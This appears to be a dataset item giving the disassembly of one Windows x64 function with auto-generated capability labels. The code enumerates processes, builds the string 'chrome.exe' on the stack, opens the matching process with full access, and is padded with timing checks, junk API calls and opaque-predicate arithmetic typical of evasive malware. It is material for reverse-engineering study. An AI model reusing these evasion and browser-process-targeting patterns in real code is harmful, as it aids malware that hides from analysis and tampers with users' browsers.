Function at 0x140048858
Capabilities:
Check for time delay via gettickcount
Check os version
Contain obfuscated stackstrings
Encode data using xor
Enumerate processes
Get process image filename

Disassembly:
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x14c0]
mov eax, 0x15c0
call fcn.1400c2070
sub rsp, rax
mov qword [rbp + 0x48], 0xfffffffffffffffe
mov qword [rsp + 0x15f8], rbx
mov qword [rsp + 0x1600], rsi
mov qword [rsp + 0x1608], rdi
mov rax, qword [0x1401a0e90]
xor rax, rsp
mov qword [rbp + 0x14b0], rax
mov r13, rcx
mov qword [rsp + 0x68], rcx
xor r14d, r14d
mov word [rbp + 0x1210], r14w
xor edx, edx
mov r8d, 0x206
lea rcx, [rbp + 0x1212]
call fcn.1400c2400
mov qword [r13 + 0x1d0], r14
mov r8d, dword [0x1401a8d80]
imul r8d, r8d
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 7
sub r8d, edx
lea eax, [r14 + 6]
cmp r8d, eax
jne 0x140048911
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1401a8d80], eax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, eax
mov dword [rsp + 0x60], eax
mov r12d, r14d
mov dword [rsp + 0x50], r14d
mov r9d, dword [0x1401a8d80]
lea r8d, [r9 + 1]
lea ecx, [r9 + 2]
imul ecx, r8d
imul ecx, r9d
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub ecx, edx
mov eax, 0x15
cmp ecx, eax
cmove r9d, r8d
mov dword [0x1401a8d80], r9d
or rsi, 0xffffffffffffffff
lea r15d, [rax - 0x14]
mov r8d, 4
cmp byte [r13 + 0x119], r14b
je 0x1400489a3
mov ebx, dword [r13 + 0x1e0]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, edi
cmp eax, ebx
jb 0x140048996
test ebx, ebx
jne 0x140049b11
mov r9d, dword [0x1401a8d80]
mov r8d, 4
mov ecx, r9d
imul ecx, r9d
imul ecx, r9d
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 7
sub ecx, edx
cmp ecx, r8d
jne 0x1400489eb
mov rcx, r8
call fcn.1400bd778
mov rbx, rax
call fcn.1400bd978
mov dword [rbx], eax
mov dword [0x1401a8d80], eax
mov rcx, rbx
call fcn.1400bcfa4
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
mov qword [rsp + 0x58], rax
cmp rax, rsi
je 0x14004a202
mov esi, 0x238
mov r8d, esi
xor edx, edx
lea rcx, [rbp + 0x50]
call fcn.1400c2400
mov r8d, dword [0x1401a8d80]
mov ecx, r8d
imul ecx, r8d
imul ecx, r8d
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
mov ebx, 3
cmp ecx, ebx
jne 0x140048a55
sub r8d, r15d
mov dword [0x1401a8d80], r8d
mov dword [rbp + 0x50], esi
mov esi, r14d
lea rdx, [rbp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14004a071
mov ebx, 7
mov eax, 0x63
mov word [rbp + 0x1130], ax
mov dword [rbp + 0x1134], 0x6f0072
mov eax, 0x6d
mov word [rbp + 0x1138], ax
mov eax, 0x2e
mov word [rbp + 0x113c], ax
mov word [rbp + 0x1144], r14w
mov ecx, dword [0x1401a8d80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x2e8ba2e9
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub r8d, edx
cmp r8d, 0xf
jne 0x140048b1f
lea ecx, [r8 + 0x19]
call fcn.1400bc638
mov rdi, rax
mov rbx, r14
call fcn.1400bd978
add eax, dword [0x1401a8d80]
mov dword [rdi + rbx*4], eax
add rbx, r15
cmp rbx, 0xa
jl 0x140048aed
mov ecx, dword [rdi + 0x24]
mov dword [0x1401a8d80], ecx
mov rcx, rdi
call fcn.1400be0fc
mov rdi, qword [rsp + 0x58]
mov ebx, 7
mov qword [rbp + 0x2a0], r14
mov qword [rbp + 0x2a8], r14
mov qword [rbp + 0x2a8], rbx
mov qword [rbp + 0x2a0], r14
mov word [rbp + 0x290], r14w
or rbx, 0xffffffffffffffff
cmp word [rbp + 0x7c], r14w
jne 0x140048b53
mov r8, r14
jmp 0x140048b64
lea rax, [rbp + 0x7c]
mov r8, rbx
inc r8
cmp word [rax + r8*2], r14w
jne 0x140048b5a
lea rdx, [rbp + 0x7c]
lea rcx, [rbp + 0x290]
call fcn.14004d7fc
nop
mov eax, 0x65
mov word [rbp + 0x1142], ax
mov word [rbp + 0x113e], ax
mov word [rbp + 0x113a], ax
mov eax, 0x68
mov word [rbp + 0x1132], ax
mov r9d, dword [0x1401a8d80]
lea r11d, [r9 + 1]
lea ecx, [r9 + 2]
imul ecx, r11d
imul ecx, r9d
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub ecx, eax
cmp ecx, 9
jne 0x140048bd7
add dword [0x1401aa6d8], r15d
mov eax, 0x78
mov word [rbp + 0x1140], ax
lea rax, [rbp + 0x1130]
mov r8, rbx
inc r8
cmp word [rax + r8*2], r14w
jne 0x140048bed
lea rcx, [rbp + 0x290]
mov edx, 8
cmp qword [rbp + 0x2a8], rdx
cmovae rcx, qword [rbp + 0x290]
mov rdx, r8
mov rbx, qword [rbp + 0x2a0]
cmp rbx, r8
cmovb rdx, rbx
test rdx, rdx
je 0x140048c51
lea r10, [rbp + 0x1130]
movzx eax, word [r10]
cmp word [rcx], ax
jne 0x140048c47
add rcx, 2
add r10, 2
sub rdx, r15
jne 0x140048c2f
jmp 0x140048c51
sbb eax, eax
and eax, 0xfffffffe
add eax, r15d
jmp 0x140048c54
mov eax, r14d
movsxd rcx, eax
mov eax, r14d
cmp rbx, r8
setne al
cmp rbx, r8
mov rbx, 0xffffffffffffffff
cmovb eax, ebx
test rcx, rcx
cmovne eax, ecx
test eax, eax
je 0x140048d12
imul r11d, r9d
mov eax, 0x2e8ba2e9
imul r11d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub r11d, edx
cmp r11d, 0x13
jne 0x140048cc3
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov ecx, dword [0x1401a8d80]
test rax, rax
mov ebx, 7
cmove ecx, ebx
mov dword [0x1401a8d80], ecx
jmp 0x140048cc8
mov ebx, 7
mov eax, 8
cmp qword [rbp + 0x2a8], rax
jb 0x140048ce2
mov rcx, qword [rbp + 0x290]
call fcn.1400bcfa4
mov qword [rbp + 0x2a8], rbx
mov qword [rbp + 0x2a0], r14
mov word [rbp + 0x290], r14w
lea rdx, [rbp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x14004910b
jmp 0x140048a75
cmp dword [r13 + 0x2d0], r15d
jne 0x140048d26
mov dword [r13 + 0x2d0], 2
mov esi, dword [rbp + 0x70]
mov dword [rsp + 0x64], esi
lea eax, [r9 + 1]
imul eax, eax
imul eax, r9d
imul eax, r9d
and eax, 0x80000003
jge 0x140048d4c
sub eax, r15d
or eax, 0xfffffffc
add eax, r15d
test eax, eax
je 0x140048dd8
mov r10d, r14d
lea r8, [rbp + 0x1420]
mov dil, r9b
sub dil, r10b
mov ebx, r15d
mov r15d, 5
lea r13d, [r15 - 4]
mov r11, r14
mov eax, r9d
cdq
idiv ebx
mov r12d, edx
mov esi, r13d
mov r14d, 3
mov eax, r9d
cdq
idiv esi
mov ecx, eax
mov al, r12b
imul cl
mov cl, al
mov al, dil
imul cl
mov byte [r8 + r11], al
add esi, r13d
add r11, r13
cmp r11, r14
jl 0x140048d86
add ebx, r13d
add r8, r14
sub r15, r13
mov r14d, 0
jne 0x140048d71
mov r15, r13
add r10d, r15d
cmp r10d, 9
jl 0x140048d5e
mov r13, qword [rsp + 0x68]
mov esi, dword [rsp + 0x64]
mov r12d, dword [rsp + 0x50]
or rbx, 0xffffffffffffffff
mov r8d, esi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [r13 + 0x1d0], rax
test rax, rax
je 0x140049088
test esi, esi
je 0x140049088
mov edi, 0x104
mov r8d, edi
lea rdx, [rbp + 0x1210]
mov rcx, rax
call qword [sym.imp.PSAPI.DLL_GetProcessImageFileNameW]
test eax, eax
je 0x140049cea
cmp word [rbp + 0x1210], r14w
jne 0x140048e2f
mov r8, r14
jmp 0x140048e43
lea rax, [rbp + 0x1210]
mov r8, rbx
inc r8
cmp word [rax + r8*2], r14w
jne 0x140048e39
lea rdx, [rbp + 0x1210]
lea rcx, [rbp + 0x290]
call fcn.14004d7fc
call fcn.140041630
test al, al
jne 0x140048e9d
mov ecx, dword [0x1401a8d80]
mov eax, 0x51eb851f
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub ecx, edx
add ecx, 0x63
movsxd rcx, ecx
mov eax, 4
mul rcx
cmovo rax, rbx
mov rcx, rax
call fcn.1400bc638
mov rcx, rax
call fcn.1400be0fc
mov r8, qword [rbp + 0x2a0]
add r8, 0xfffffffffffffff6
mov r9, rbx
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x290]
call fcn.14004d1ec
mov rcx, rax
lea rax, [rbp + 0x1130]
mov r8, rbx
inc r8
cmp word [rax + r8*2], r14w
jne 0x140048ecb
mov r10, qword [rcx + 0x10]
mov r11d, 8
cmp qword [rcx + 0x18], r11
jb 0x140048ee8
mov rcx, qword [rcx]
mov rdx, r8
cmp r10, r8
cmovb rdx, r10
test rdx, rdx
je 0x140048f20
lea r9, [rbp + 0x1130]
movzx eax, word [r9]
cmp word [rcx], ax
jne 0x140048f16
add rcx, 2
add r9, 2
sub rdx, r15
jne 0x140048efe
jmp 0x140048f20
sbb eax, eax
and eax, 0xfffffffe
add eax, r15d
jmp 0x140048f23
mov eax, r14d
movsxd rcx, eax
mov eax, r14d
cmp r10, r8
setne al
cmp r10, r8
cmovb eax, ebx
test rcx, rcx
cmovne eax, ecx
test eax, eax
setne bl
cmp qword [rbp + 0x328], r11
jb 0x140048f55
mov rcx, qword [rbp + 0x310]
call fcn.1400bcfa4
mov eax, 7
mov qword [rbp + 0x328], rax
mov qword [rbp + 0x320], r14
mov word [rbp + 0x310], r14w
test bl, bl
je 0x140049062
call fcn.1400416c8
mov rcx, qword [r13 + 0x1d0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [rbp + 0x58]
mov r8d, esi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [r13 + 0x1d0], rax
mov eax, dword [0x1401a8d80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub ecx, edx
cmp ecx, r15d
jne 0x140048ff1
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov ecx, dword [0x1401a8d80]
test rax, rax
mov ebx, 7
cmove ecx, ebx
mov dword [0x1401a8d80], ecx
jmp 0x140048ff6
mov ebx, 7
mov rcx, qword [r13 + 0x1d0]
test rcx, rcx
je 0x140049cae
mov r8d, edi
lea rdx, [rbp + 0x1210]
call qword [sym.imp.PSAPI.DLL_GetProcessImageFileNameW]
test eax, eax
je 0x140049b19
mov eax, dword [0x1401a8d80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x38e38e39
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub ecx, eax
cmp ecx, ebx
jne 0x140049065
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
jmp 0x140049065
mov rbx, rax
mov eax, 8
cmp qword [rbp + 0x2a8], rax
jb 0x14004907f
mov rcx, qword [rbp + 0x290]
call fcn.1400bcfa4
mov qword [rbp + 0x2a8], rbx
jmp 0x1400490f7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov esi, dword [rbp + 0x58]
mov r8d, esi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [r13 + 0x1d0], rax
test rax, rax
je 0x140049ffa
mov r8d, 0x104
lea rdx, [rbp + 0x1210]
mov rcx, rax
call qword [sym.imp.PSAPI.DLL_GetProcessImageFileNameW]
test eax, eax
je 0x140049f2d
mov eax, 8
cmp qword [rbp + 0x2a8], rax
jb 0x1400490eb
mov rcx, qword [rbp + 0x290]
call fcn.1400bcfa4
mov eax, 7
mov qword [rbp + 0x2a8], rax
mov rdi, qword [rsp + 0x58]
mov word [rbp + 0x290], r14w
mov qword [rbp + 0x2a0], r14
mov rax, qword [r13 + 0x1d0]
add rax, r15
test rax, 0xfffffffffffffffe
jne 0x14004912a
mov ecx, dword [r13 + 0x1dc]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [r13 + 0x1d0]
sub rax, r15
cmp rax, 0xfffffffffffffffd
ja 0x140049af2
lea rcx, [0x1401a09a8]
mov rax, qword [0x1401a09a8]
call qword [rax + 0x18]
lea rbx, [rax + 0x18]
mov qword [rsp + 0x30], rbx
mov r15d, r14d
lea rcx, [0x1401a09a8]
mov rax, qword [0x1401a09a8]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x38], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
call qword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 6
setb al
test al, al
jne 0x140049259
mov ecx, 1
sub ecx, dword [rbx - 8]
mov eax, dword [rbx - 0xc]
mov edi, 0x104
sub eax, edi
or eax, ecx
jge 0x1400491c0
mov edx, edi
lea rcx, [rsp + 0x30]
call fcn.1400021d0
mov rbx, qword [rsp + 0x30]
cmp dword [rbx - 0xc], edi
jl 0x140049d26
mov dword [rbx - 0x10], edi
mov word [rbx + 0x208], r14w
mov r9d, edi
mov r8, rbx
xor edx, edx
mov rcx, qword [r13 + 0x1d0]
call qword [sym.imp.PSAPI.DLL_GetModuleFileNameExW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r15d, eax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x60]
call fcn.140002bac
nop
mov rdx, rax
lea rcx, [rbp - 0x78]
call fcn.14003eea0
nop
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140001ff8
nop
mov rdx, qword [rbp - 0x78]
add rdx, 0xffffffffffffffe8
or rbx, 0xffffffffffffffff
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
add eax, ebx
test eax, eax
jg 0x140049247
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov rbx, qword [rsp + 0x38]
jmp 0x1400494b8
lea rax, [rbp - 0x50]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x1210]
lea rcx, [rbp - 0x50]
call fcn.140001f2c
nop
mov rdx, rax
lea rcx, [rbp - 0x58]
call fcn.14003eea0
nop
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140001ff8
nop
mov rdx, qword [rbp - 0x58]
add rdx, 0xffffffffffffffe8
or rbx, 0xffffffffffffffff
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
add eax, ebx
test eax, eax
jg 0x1400492b0
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov ecx, dword [0x1401a8d80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x2e8ba2e9
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub r8d, edx
cmp r8d, 0x15
jne 0x1400492eb
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
call fcn.1400416c8
test al, al
jne 0x140049370
mov rbx, r14
call fcn.1400bd978
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movsd qword [rbp + rbx*8 + 0xa00], xmm0
mov r9d, 1
add rbx, r9
mov eax, 0xe5
cmp rbx, rax
jb 0x1400492ff
mov rcx, r14
mov edx, eax
mov eax, 0xe4
jmp 0x140049361
movsd xmm1, qword [rbp + rax*8 + 0xa00]
movsd xmm0, qword [rbp + rax*8 + 0x9f8]
comisd xmm1, xmm0
jbe 0x14004935e
movsd qword [rbp + rax*8 + 0xa00], xmm0
movsd qword [rbp + rax*8 + 0x9f8], xmm1
sub rax, r9
cmp rax, rcx
jg 0x140049334
add rcx, r9
sub rdx, r9
jne 0x14004932d
jmp 0x140049376
mov r9d, 1
call fcn.1400431dc
mov ecx, r14d
test rax, rax
setne cl
test ecx, ecx
je 0x140049f22
mov rbx, qword [rsp + 0x38]
mov rcx, rbx
sub rax, rbx
movzx edx, word [rcx]
cmp dx, word [rcx + rax]
jne 0x1400493ae
add rcx, 2
test dx, dx
jne 0x140049397
mov eax, r14d
jmp 0x1400493b3
sbb eax, eax
or eax, r9d
test eax, eax
jne 0x14004947c
mov r8, qword [rsp + 0x30]
mov ecx, r9d
sub ecx, dword [r8 - 8]
mov eax, dword [r8 - 0xc]
mov ebx, 0x104
sub eax, ebx
or eax, ecx
jge 0x1400493e7
mov edx, ebx
lea rcx, [rsp + 0x30]
call fcn.1400021d0
mov r8, qword [rsp + 0x30]
cmp dword [r8 - 0xc], ebx
jl 0x140049d31
mov dword [r8 - 0x10], ebx
mov word [r8 + 0x208], r14w
mov r9d, ebx
xor edx, edx
mov rcx, qword [r13 + 0x1d0]
call qword [sym.imp.PSAPI.DLL_GetModuleFileNameExW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r15d, eax
lea rax, [rbp - 0x68]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x68]
call fcn.140002bac
nop
mov rdx, rax
lea rcx, [rsp + 0x78]
call fcn.14003eea0
nop
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140001ff8
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
or rcx, 0xffffffffffffffff
mov eax, ecx
lock xadd dword [rdx + 0x10], eax
add eax, ecx
test eax, eax
jg 0x14004946f
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov rbx, qword [rsp + 0x38]
mov ecx, dword [0x1401a8d80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x66666667
imul r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub r8d, eax
cmp r8d, 9
jne 0x1400494b8
dec dword [0x1401aa80c]
cmp dword [rbx - 0x10], r14d
je 0x1400494fe
call fcn.1400431dc
mov ecx, r14d
test rax, rax
setne cl
test ecx, ecx
je 0x140049d3c
mov rcx, rbx
sub rax, rbx
movzx edx, word [rcx]
cmp dx, word [rcx + rax]
jne 0x1400494f1
add rcx, 2
test dx, dx
jne 0x1400494da
mov eax, r14d
jmp 0x1400494f6
sbb eax, eax
or eax, 1
test eax, eax
jne 0x140049d47
mov r8d, r14d
cmp edi, 0x714
jne 0x140049551
lea rcx, [rbp - 0x80]
call fcn.14003f7c0
nop
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140001ff8
nop
mov rdx, qword [rbp - 0x80]
add rdx, 0xffffffffffffffe8
or rcx, 0xffffffffffffffff
mov eax, ecx
lock xadd dword [rdx + 0x10], eax
add eax, ecx
test eax, eax
jg 0x140049543
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rbx, qword [rsp + 0x38]
cmp dword [rbx - 0x10], r14d
je 0x140049597
call fcn.1400431dc
mov ecx, r14d
test rax, rax
setne cl
test ecx, ecx
je 0x140049edc
mov rcx, rbx
sub rax, rbx
movzx edx, word [rcx]
cmp dx, word [rcx + rax]
jne 0x14004958a
add rcx, 2
test dx, dx
jne 0x140049573
mov eax, r14d
jmp 0x14004958f
sbb eax, eax
or eax, 1
test eax, eax
jne 0x140049d47
mov qword [r13 + 0x1d0], r14
mov edx, r8d
lea rcx, [rbp + 0x3d0]
call fcn.14004157c
mov rsi, rax
mov edx, edi
lea rcx, [rbp + 0x3f0]
call fcn.14004157c
mov rdi, rax
mov edx, r15d
lea rcx, [rbp + 0x3b0]
call fcn.14004157c
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rbp + 0x370]
call fcn.14004157c
nop
lea r15, [0x14013b470]
mov r8, r15
mov rdx, rax
lea rcx, [rbp + 0x330]
call fcn.14002a190
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2f0]
call fcn.14004dd04
nop
mov r8, r15
mov rdx, rax
lea rcx, [rbp + 0x2d0]
call fcn.14002a190
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x350]
call fcn.14004dd04
nop
mov r8, r15
mov rdx, rax
lea rcx, [rbp + 0x390]
call fcn.14002a190
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.14004dd04
nop
mov edi, 0x10
cmp qword [rbp + 0x3a8], rdi
jb 0x14004967b
mov rcx, qword [rbp + 0x390]
call fcn.1400bcfa4
mov ebx, 0xf
mov qword [rbp + 0x3a8], rbx
mov qword [rbp + 0x3a0], r14
mov byte [rbp + 0x390], r14b
cmp qword [rbp + 0x368], rdi
jb 0x1400496aa
mov rcx, qword [rbp + 0x350]
call fcn.1400bcfa4
mov qword [rbp + 0x368], rbx
mov qword [rbp + 0x360], r14
mov byte [rbp + 0x350], r14b
cmp qword [rbp + 0x2e8], rdi
jb 0x1400496d4
mov rcx, qword [rbp + 0x2d0]
call fcn.1400bcfa4
mov qword [rbp + 0x2e8], rbx
mov qword [rbp + 0x2e0], r14
mov byte [rbp + 0x2d0], r14b
cmp qword [rbp + 0x308], rdi
jb 0x1400496fe
mov rcx, qword [rbp + 0x2f0]
call fcn.1400bcfa4
mov qword [rbp + 0x308], rbx
mov qword [rbp + 0x300], r14
mov byte [rbp + 0x2f0], r14b
cmp qword [rbp + 0x348], rdi
jb 0x140049728
mov rcx, qword [rbp + 0x330]
call fcn.1400bcfa4
mov qword [rbp + 0x348], rbx
mov qword [rbp + 0x340], r14
mov byte [rbp + 0x330], r14b
cmp qword [rbp + 0x388], rdi
jb 0x140049752
mov rcx, qword [rbp + 0x370]
call fcn.1400bcfa4
mov qword [rbp + 0x388], rbx
mov qword [rbp + 0x380], r14
mov byte [rbp + 0x370], r14b
cmp qword [rbp + 0x3c8], rdi
jb 0x14004977c
mov rcx, qword [rbp + 0x3b0]
call fcn.1400bcfa4
mov qword [rbp + 0x3c8], rbx
mov qword [rbp + 0x3c0], r14
mov byte [rbp + 0x3b0], r14b
cmp qword [rbp + 0x408], rdi
jb 0x1400497a6
mov rcx, qword [rbp + 0x3f0]
call fcn.1400bcfa4
mov qword [rbp + 0x408], rbx
mov qword [rbp + 0x400], r14
mov byte [rbp + 0x3f0], r14b
cmp qword [rbp + 0x3e8], rdi
jb 0x1400497d0
mov rcx, qword [rbp + 0x3d0]
call fcn.1400bcfa4
mov qword [rbp + 0x3e8], rbx
mov qword [rbp + 0x3e0], r14
mov byte [rbp + 0x3d0], r14b
mov eax, r12d
mov r15d, 1
add r12d, r15d
mov dword [rsp + 0x50], r12d
cmp eax, 5
jge 0x140049ee7
mov r8d, dword [0x1401a8d80]
lea ecx, [r8 + 2]
lea eax, [r8 + 1]
imul ecx, eax
imul ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub ecx, eax
lea eax, [r15 + 7]
cmp ecx, eax
jne 0x140049877
mov r9d, r14d
mov r13d, eax
mov edx, r9d
mov r10, r13
mov ecx, edx
and ecx, r15d
sub ecx, r15d
not ecx
and ecx, r8d
mov eax, edx
sar eax, 1
mov edx, ecx
xor edx, eax
sub r10, r15
jne 0x140049842
add r8d, edx
add r9d, r15d
cmp r9d, 0x100
jl 0x14004983c
mov dword [0x1401a8d80], r8d
mov r13, qword [rsp + 0x68]
lea rdx, [rbp + 0x2b0]
cmp qword [rbp + 0x2c8], rdi
cmovae rdx, qword [rbp + 0x2b0]
lea rcx, [rsp + 0x70]
call fcn.140002c48
nop
mov ecx, dword [0x1401a8d80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0xb21642c9
imul r8d
add edx, r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x17
mov eax, r8d
sub eax, edx
cmp eax, 4
jne 0x1400498d6
sub dword [0x1401aaaf0], r15d
cmp byte [0x1401aaeb1], r14b
jne 0x1400499c3
mov dword [rbp + 0x1148], 0x58
mov dword [rbp + 0x114c], 0x12001b
mov word [rbp + 0x1150], r14w
mov rcx, r14
lea r12, [0x1401a3d90]
lea rdx, [0x1401a4a18]
movzx eax, byte [rcx + r12]
xor ax, word [rbp + rcx*2 + 0x1148]
mov word [rdx + rcx*2], ax
add rcx, r15
cmp rcx, 4
jl 0x140049910
mov r12d, dword [rsp + 0x50]
mov eax, 0x2e8ba2e9
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub r8d, edx
cmp r8d, 0x15
jne 0x1400499bc
mov rbx, r14
call fcn.1400bd978
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movsd qword [rbp + rbx*8 + 0x550], xmm0
add rbx, r15
mov eax, 0x96
cmp rbx, rax
jb 0x140049950
mov rcx, r14
mov edx, eax
mov eax, 0x95
jmp 0x1400499ac
movsd xmm1, qword [rbp + rax*8 + 0x550]
movsd xmm0, qword [rbp + rax*8 + 0x548]
comisd xmm1, xmm0
jbe 0x1400499a9
movsd qword [rbp + rax*8 + 0x550], xmm0
movsd qword [rbp + rax*8 + 0x548], xmm1
sub rax, r15
cmp rax, rcx
jg 0x14004997f
add rcx, r15
sub rdx, r15
jne 0x140049978
lea ebx, [rdx + 0xf]
mov byte [0x1401aaeb1], r15b
lea rdx, [0x1401a4a18]
lea rcx, [rsp + 0x48]
call fcn.140001f2c
nop
lea r8, [rsp + 0x70]
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000d870
nop
lea rcx, [r13 + 0x1b8]
mov rdx, qword [rax]
mov r8d, dword [rdx - 0x10]
call fcn.14000e294
nop
mov rdx, qword [rbp - 0x70]
add rdx, 0xffffffffffffffe8
or rsi, 0xffffffffffffffff
mov eax, esi
lock xadd dword [rdx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140049a1e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x48]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140049a3e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140049a5d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov eax, dword [r13 + 0x1dc]
cdq
sub eax, edx
sar eax, 1
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400416c8
test al, al
jne 0x140049a90
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
nop
cmp qword [rbp + 0x2c8], rdi
jb 0x140049aa5
mov rcx, qword [rbp + 0x2b0]
call fcn.1400bcfa4
mov qword [rbp + 0x2c8], rbx
mov qword [rbp + 0x2c0], r14
mov byte [rbp + 0x2b0], r14b
mov rdx, qword [rsp + 0x38]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140049ada
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
